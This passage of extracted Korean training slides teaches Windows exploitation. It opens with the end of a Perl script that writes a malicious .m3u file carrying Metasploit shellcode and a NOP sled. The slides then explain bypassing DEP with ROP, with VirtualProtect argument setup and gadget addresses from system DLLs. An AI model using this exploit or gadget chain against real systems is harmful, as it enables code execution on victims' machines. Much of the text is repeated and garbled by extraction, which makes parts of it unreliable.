$params = $params.pack('V',0x10035005); #writeable address
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
…omit…
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05";
my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest;
print "Payload size : ".length($payload)."n";
print "Shellcode size : ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
32. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
return address
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
33. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
1번째 인자값을 쉘코드의 주소 변조 (수동으로)
Shellcode
34. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
2번째 인자값을 쉘코드의 주소 변조 (수동으로)
Shellcode
35. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
3번째 인자값을 쉘코드의 사이즈+@ 로 변조 (수동으로)
Shellcode
36. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
0x00000040(RWX)
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
4번째 인자값을 RWX 권한 플래그로 변조 (수동으로)
Shellcode
37. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
0x10035005
0x00000040(RWX)
0x000002BC(700)
0x000FF80C
0x000FF80C
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
5번째 인자값을 현재 플래그를 저장할 주소로 변조 (수동으로)
Shellcode
38. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
PUSH Parameters
39. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
Call VirtualProtectEX
Change the protection on a region of committed page
and Return to start point of shell code , Execute it
40. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.1
First. automatically set these arguments ?
41. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.1
First. automatically set these arguments ?
Yes
42. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.2
Second. and then execute it ?
43. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.2
Second. and then execute it ?
Yes
44. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.3
Third. How ?
45. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Question.3
Third. How ?
by using ROP
46. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
EIP
47. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
48. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
49. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
50. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
51. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
52. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
53. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
54. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
55. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
56. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
57. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Control Flow of
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
Gadget B
VirtualProtect( )를 가리키는 포인터
첫번째 인자 (WWWW) 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Execution
58. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
59. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
0x5AD79277:
# PUSH ESP # MOV EAX,EDX # POP EDI # RETN 다섯번째 [Module: 인자값 uxtheme.생성
dll]
0x77C1E842:
# PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll]
0x1001653D:
# ADD ESP,20 # RETN [Module: MSRMfilter03.dll]
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
ESP를 레지스터에 저장하는 GadgetA-1
인자 생성 코드로 점프하는 GadgetA-2
60. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -1
[ROP-3 코드 참조]
61. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
62. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
0x1002DC4C:
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.세번째 인자값 dll]
생성
0x77E84115:
# MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI
# RETN [Module: RPCRT4.dll]
0x763C982F:
# XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll]
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
두번째 인자 예약 공간에 값을 덮어씀
첫번째 인자(쉘코드의 주소)값을 생성하는 GadgetC-1
첫번째 인자 예약 공간에 값을 덮어 씌우는 GadgetC-2
첫번째 인자 예약 공간의 주소를 생성하는 GadgetC-3
63. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -2
[ROP-4 코드 참조]
64. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
65. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -3
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
ESI 레지스터 값을 다시 되돌려놓는 GadgetD-1
0x775D131E:
# PUSH EAX # POP ESI # RETN [Module: ole32.dll]
0x77157D1D:
# INC ESI # RETN [Module: OLEAUT32.dll]
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
ESI를 증가시켜 두번째 인자 예약 공간을 가리키도록 하는 GadgetD-2
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
